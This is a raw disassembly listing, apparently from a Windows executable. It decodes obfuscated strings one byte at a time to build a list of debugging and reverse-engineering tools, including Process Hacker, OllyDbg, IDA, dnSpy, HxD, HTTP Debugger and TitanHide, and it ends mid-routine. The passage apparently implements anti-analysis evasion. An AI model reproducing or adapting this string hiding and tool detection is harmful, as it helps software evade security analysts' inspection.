mov byte [rbp + 0x1cc], al
mov dl, 0x73
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1cd], al
mov dl, 0x74
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1ce], al
mov dl, 0x61
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1cf], al
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1d0], al
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1d1], al
mov dl, 0x20
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1d2], al
mov dl, 0x54
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1d3], al
mov dl, 0x6f
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1d4], al
mov dl, 0x6f
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1d5], al
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1d6], al
xor eax, eax
mov byte [rbp + 0x1d7], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1c9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x1c8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x1c9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xe
jb 0x140040ae0
mov edx, 0xe
lea rcx, [rbp + 0x1c9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x1c9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x11b0]
call fcn.140027c60
nop
mov byte [rbp + 0xe8], 0x23
mov dl, 0x5b
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xe9], al
mov dl, 0x45
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xea], al
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xeb], al
mov dl, 0x65
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xec], al
mov dl, 0x76
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xed], al
mov dl, 0x61
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xee], al
mov dl, 0x74
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xef], al
mov dl, 0x65
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xf0], al
mov dl, 0x64
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xf1], al
mov dl, 0x5d
lea rcx, [rbp + 0xe8]
call fcn.140063330
mov byte [rbp + 0xf2], al
xor eax, eax
mov byte [rbp + 0xf3], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xe9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0xe8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0xe9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xa
jb 0x140040c30
mov edx, 0xa
lea rcx, [rbp + 0xe9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0xe9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x11d0]
call fcn.140027c60
nop
mov byte [rbp + 0x48], 0x29
mov dl, 0x48
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x49], al
mov dl, 0x61
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x4a], al
mov dl, 0x63
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x4b], al
mov dl, 0x6b
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x4c], al
mov dl, 0x65
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x4d], al
mov dl, 0x72
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x4e], al
mov dl, 0x20
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x4f], al
mov dl, 0x32
lea rcx, [rbp + 0x48]
call fcn.140063330
mov byte [rbp + 0x50], al
xor eax, eax
mov byte [rbp + 0x51], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x49]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x48]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x49]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 8
jb 0x140040d20
mov edx, 8
lea rcx, [rbp + 0x49]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x49]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.140027c60
nop
mov byte [rbp + 0x1d8], 0x5a
mov dl, 0x50
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1d9], al
mov dl, 0x72
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1da], al
mov dl, 0x6f
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1db], al
mov dl, 0x63
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1dc], al
mov dl, 0x65
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1dd], al
mov dl, 0x73
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1de], al
mov dl, 0x73
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1df], al
mov dl, 0x20
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1e0], al
mov dl, 0x48
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1e1], al
mov dl, 0x61
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1e2], al
mov dl, 0x63
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1e3], al
mov dl, 0x6b
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1e4], al
mov dl, 0x65
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1e5], al
mov dl, 0x72
lea rcx, [rbp + 0x1d8]
call fcn.140063330
mov byte [rbp + 0x1e6], al
xor eax, eax
mov byte [rbp + 0x1e7], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1d9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x1d8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x1d9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xe
jb 0x140040eb0
mov edx, 0xe
lea rcx, [rbp + 0x1d9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x1d9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1210]
call fcn.140027c60
nop
mov byte [rbp + 0x178], 0x4f
mov dl, 0x50
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x179], al
mov dl, 0x72
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x17a], al
mov dl, 0x6f
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x17b], al
mov dl, 0x63
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x17c], al
mov dl, 0x65
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x17d], al
mov dl, 0x73
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x17e], al
mov dl, 0x73
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x17f], al
mov dl, 0x48
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x180], al
mov dl, 0x61
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x181], al
mov dl, 0x63
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x182], al
mov dl, 0x6b
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x183], al
mov dl, 0x65
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x184], al
mov dl, 0x72
lea rcx, [rbp + 0x178]
call fcn.140063330
mov byte [rbp + 0x185], al
xor eax, eax
mov byte [rbp + 0x186], al
mov rsi, rbx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x179]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x178]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x179]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xd
jb 0x140041040
mov edx, 0xd
lea rcx, [rbp + 0x179]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x179]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.140027c60
nop
mov byte [rbp - 0x28], 0x4d
mov dl, 0x48
lea rcx, [rbp - 0x28]
call fcn.140063330
mov byte [rbp - 0x27], al
mov dl, 0x54
lea rcx, [rbp - 0x28]
call fcn.140063330
mov byte [rbp - 0x26], al
mov dl, 0x54
lea rcx, [rbp - 0x28]
call fcn.140063330
mov byte [rbp - 0x25], al
mov dl, 0x50
lea rcx, [rbp - 0x28]
call fcn.140063330
mov byte [rbp - 0x24], al
mov dl, 0x20
lea rcx, [rbp - 0x28]
call fcn.140063330
mov byte [rbp - 0x23], al
mov dl, 0x44
lea rcx, [rbp - 0x28]
call fcn.140063330
mov byte [rbp - 0x22], al
xor eax, eax
mov byte [rbp - 0x21], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x27]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x28]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x27]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 6
jb 0x140041110
mov edx, 6
lea rcx, [rbp - 0x27]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x27]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1250]
call fcn.140027c60
nop
mov byte [rbp + 0x18], 0x6b
mov dl, 0x4f
lea rcx, [rbp + 0x18]
call fcn.140063330
mov byte [rbp + 0x19], al
mov dl, 0x6c
lea rcx, [rbp + 0x18]
call fcn.140063330
mov byte [rbp + 0x1a], al
mov dl, 0x6c
lea rcx, [rbp + 0x18]
call fcn.140063330
mov byte [rbp + 0x1b], al
mov dl, 0x79
lea rcx, [rbp + 0x18]
call fcn.140063330
mov byte [rbp + 0x1c], al
mov dl, 0x44
lea rcx, [rbp + 0x18]
call fcn.140063330
mov byte [rbp + 0x1d], al
mov dl, 0x62
lea rcx, [rbp + 0x18]
call fcn.140063330
mov byte [rbp + 0x1e], al
mov dl, 0x67
lea rcx, [rbp + 0x18]
call fcn.140063330
mov byte [rbp + 0x1f], al
xor eax, eax
mov byte [rbp + 0x20], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x19]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x18]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x19]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 7
jb 0x1400411e0
mov edx, 7
lea rcx, [rbp + 0x19]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x19]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.140027c60
nop
mov byte [rsp + 0x64], 0x19
mov dl, 0x49
lea rcx, [rsp + 0x64]
call fcn.140063330
mov byte [rsp + 0x65], al
mov dl, 0x44
lea rcx, [rsp + 0x64]
call fcn.140063330
mov byte [rsp + 0x66], al
mov dl, 0x41
lea rcx, [rsp + 0x64]
call fcn.140063330
mov byte [rsp + 0x67], al
xor eax, eax
mov byte [rsp + 0x68], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x65]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x64]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rsp + 0x65]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 3
jb 0x140041280
mov edx, 3
lea rcx, [rsp + 0x65]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x65]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1290]
call fcn.140027c60
nop
mov byte [rbp + 0x1e8], 0x5c
mov dl, 0x57
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1e9], al
mov dl, 0x69
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1ea], al
mov dl, 0x6e
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1eb], al
mov dl, 0x64
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1ec], al
mov dl, 0x6f
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1ed], al
mov dl, 0x77
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1ee], al
mov dl, 0x20
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1ef], al
mov dl, 0x52
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1f0], al
mov dl, 0x65
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1f1], al
mov dl, 0x6e
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1f2], al
mov dl, 0x61
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1f3], al
mov dl, 0x6d
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1f4], al
mov dl, 0x65
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1f5], al
mov dl, 0x72
lea rcx, [rbp + 0x1e8]
call fcn.140063330
mov byte [rbp + 0x1f6], al
xor eax, eax
mov byte [rbp + 0x1f7], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x1e9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x1e8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x1e9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xe
jb 0x140041410
mov edx, 0xe
lea rcx, [rbp + 0x1e9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x1e9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x12b0]
call fcn.140027c60
nop
mov byte [rbp - 0x4c], 0x1f
mov dl, 0x64
lea rcx, [rbp - 0x4c]
call fcn.140063330
mov byte [rbp - 0x4b], al
mov dl, 0x6e
lea rcx, [rbp - 0x4c]
call fcn.140063330
mov byte [rbp - 0x4a], al
mov dl, 0x53
lea rcx, [rbp - 0x4c]
call fcn.140063330
mov byte [rbp - 0x49], al
mov dl, 0x70
lea rcx, [rbp - 0x4c]
call fcn.140063330
mov byte [rbp - 0x48], al
mov dl, 0x79
lea rcx, [rbp - 0x4c]
call fcn.140063330
mov byte [rbp - 0x47], al
xor eax, eax
mov byte [rbp - 0x46], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp - 0x4b]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x4c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x4b]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x1400414d0
mov edx, 5
lea rcx, [rbp - 0x4b]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x4b]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x12d0]
call fcn.140027c60
nop
mov byte [rbp + 0x28], 0x36
mov dl, 0x70
lea rcx, [rbp + 0x28]
call fcn.140063330
mov byte [rbp + 0x29], al
mov dl, 0x61
lea rcx, [rbp + 0x28]
call fcn.140063330
mov byte [rbp + 0x2a], al
mov dl, 0x72
lea rcx, [rbp + 0x28]
call fcn.140063330
mov byte [rbp + 0x2b], al
mov dl, 0x73
lea rcx, [rbp + 0x28]
call fcn.140063330
mov byte [rbp + 0x2c], al
mov dl, 0x65
lea rcx, [rbp + 0x28]
call fcn.140063330
mov byte [rbp + 0x2d], al
mov dl, 0x63
lea rcx, [rbp + 0x28]
call fcn.140063330
mov byte [rbp + 0x2e], al
mov dl, 0x64
lea rcx, [rbp + 0x28]
call fcn.140063330
mov byte [rbp + 0x2f], al
xor eax, eax
mov byte [rbp + 0x30], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x29]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x28]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x29]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 7
jb 0x1400415a0
mov edx, 7
lea rcx, [rbp + 0x29]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x29]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x12f0]
call fcn.140027c60
nop
mov byte [rsp + 0x54], 0x50
mov dl, 0x48
lea rcx, [rsp + 0x54]
call fcn.140063330
mov byte [rsp + 0x55], al
mov dl, 0x78
lea rcx, [rsp + 0x54]
call fcn.140063330
mov byte [rsp + 0x56], al
mov dl, 0x44
lea rcx, [rsp + 0x54]
call fcn.140063330
mov byte [rsp + 0x57], al
xor eax, eax
mov byte [rsp + 0x58], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x55]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x54]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rsp + 0x55]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 3
jb 0x140041640
mov edx, 3
lea rcx, [rsp + 0x55]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x55]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1310]
call fcn.140027c60
nop
mov byte [rbp + 0x148], 0x65
mov dl, 0x68
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x149], al
mov dl, 0x74
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x14a], al
mov dl, 0x74
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x14b], al
mov dl, 0x70
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x14c], al
mov dl, 0x64
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x14d], al
mov dl, 0x65
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x14e], al
mov dl, 0x62
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x14f], al
mov dl, 0x75
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x150], al
mov dl, 0x67
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x151], al
mov dl, 0x67
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x152], al
mov dl, 0x65
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x153], al
mov dl, 0x72
lea rcx, [rbp + 0x148]
call fcn.140063330
mov byte [rbp + 0x154], al
xor eax, eax
mov byte [rbp + 0x155], al
mov rsi, rbx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x149]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x148]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x149]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xc
jb 0x1400417b0
mov edx, 0xc
lea rcx, [rbp + 0x149]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x149]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1330]
call fcn.140027c60
nop
mov byte [rbp - 0x44], 0x4a
mov dl, 0x69
lea rcx, [rbp - 0x44]
call fcn.140063330
mov byte [rbp - 0x43], al
mov dl, 0x64
lea rcx, [rbp - 0x44]
call fcn.140063330
mov byte [rbp - 0x42], al
mov dl, 0x61
lea rcx, [rbp - 0x44]
call fcn.140063330
mov byte [rbp - 0x41], al
mov dl, 0x36
lea rcx, [rbp - 0x44]
call fcn.140063330
mov byte [rbp - 0x40], al
mov dl, 0x34
lea rcx, [rbp - 0x44]
call fcn.140063330
mov byte [rbp - 0x3f], al
xor eax, eax
mov byte [rbp - 0x3e], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp - 0x43]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x44]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x43]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x140041870
mov edx, 5
lea rcx, [rbp - 0x43]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x43]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1350]
call fcn.140027c60
nop
mov byte [rbp - 0x3c], 0x68
mov dl, 0x69
lea rcx, [rbp - 0x3c]
call fcn.140063330
mov byte [rbp - 0x3b], al
mov dl, 0x64
lea rcx, [rbp - 0x3c]
call fcn.140063330
mov byte [rbp - 0x3a], al
mov dl, 0x61
lea rcx, [rbp - 0x3c]
call fcn.140063330
mov byte [rbp - 0x39], al
mov dl, 0x33
lea rcx, [rbp - 0x3c]
call fcn.140063330
mov byte [rbp - 0x38], al
mov dl, 0x32
lea rcx, [rbp - 0x3c]
call fcn.140063330
mov byte [rbp - 0x37], al
xor eax, eax
mov byte [rbp - 0x36], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp - 0x3b]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x3c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x3b]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x140041920
mov edx, 5
lea rcx, [rbp - 0x3b]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x3b]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1370]
call fcn.140027c60
nop
mov byte [rbp - 0x34], 0x68
mov dl, 0x69
lea rcx, [rbp - 0x34]
call fcn.140063330
mov byte [rbp - 0x33], al
mov dl, 0x64
lea rcx, [rbp - 0x34]
call fcn.140063330
mov byte [rbp - 0x32], al
mov dl, 0x61
lea rcx, [rbp - 0x34]
call fcn.140063330
mov byte [rbp - 0x31], al
mov dl, 0x38
lea rcx, [rbp - 0x34]
call fcn.140063330
mov byte [rbp - 0x30], al
mov dl, 0x36
lea rcx, [rbp - 0x34]
call fcn.140063330
mov byte [rbp - 0x2f], al
xor eax, eax
mov byte [rbp - 0x2e], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp - 0x33]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x34]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x33]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x1400419d0
mov edx, 5
lea rcx, [rbp - 0x33]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x33]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1390]
call fcn.140027c60
nop
mov byte [rbp + 0x78], 0x71
mov dl, 0x54
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x79], al
mov dl, 0x69
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x7a], al
mov dl, 0x74
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x7b], al
mov dl, 0x61
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x7c], al
mov dl, 0x6e
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x7d], al
mov dl, 0x48
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x7e], al
mov dl, 0x69
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x7f], al
mov dl, 0x64
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x80], al
mov dl, 0x65
lea rcx, [rbp + 0x78]
call fcn.140063330
mov byte [rbp + 0x81], al
xor eax, eax
mov byte [rbp + 0x82], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp + 0x79]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x78]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x79]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 9
jb 0x140041ac0
mov edx, 9
lea rcx, [rbp + 0x79]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x79]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x13b0]
call fcn.140027c60
nop
mov byte [rbp + 0x88], 0x5d
mov dl, 0x48
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x89], al
mov dl, 0x74
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x8a], al
mov dl, 0x74
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x8b], al
mov dl, 0x70
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x8c], al
mov dl, 0x44
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x8d], al
mov dl, 0x65
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x8e], al
mov dl, 0x62
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x8f], al
mov dl, 0x75
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x90], al
mov dl, 0x67
lea rcx, [rbp + 0x88]
call fcn.140063330
mov byte [rbp + 0x91], al
xor eax, eax
mov byte [rbp + 0x92], al
mov rsi, rbx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x89]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x88]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x89]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 9
jb 0x140041bf0
mov edx, 9
lea rcx, [rbp + 0x89]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x89]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x13d0]
call fcn.140027c60
nop
mov byte [rbp + 0x1f8], 0x49
mov dl, 0x6b
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x1f9], al
mov dl, 0x70
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x1fa], al
mov dl, 0x72
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x1fb], al
mov dl, 0x6f
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x1fc], al
mov dl, 0x63
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x1fd], al
mov dl, 0x65
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x1fe], al
mov dl, 0x73
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x1ff], al
mov dl, 0x73
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x200], al
mov dl, 0x68
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x201], al
mov dl, 0x61
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x202], al
mov dl, 0x63
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x203], al
mov dl, 0x6b
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x204], al
mov dl, 0x65
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x205], al
mov dl, 0x72
lea rcx, [rbp + 0x1f8]
call fcn.140063330
mov byte [rbp + 0x206], al
xor eax, eax
mov byte [rbp + 0x207], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1f9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x1f8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x1f9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xe
jb 0x140041d90
mov edx, 0xe
lea rcx, [rbp + 0x1f9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x1f9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x13f0]
call fcn.140027c60
nop
mov byte [rbp + 0x2c8], 0x64
mov dl, 0x45
lea rcx, [rbp + 0x2c8]
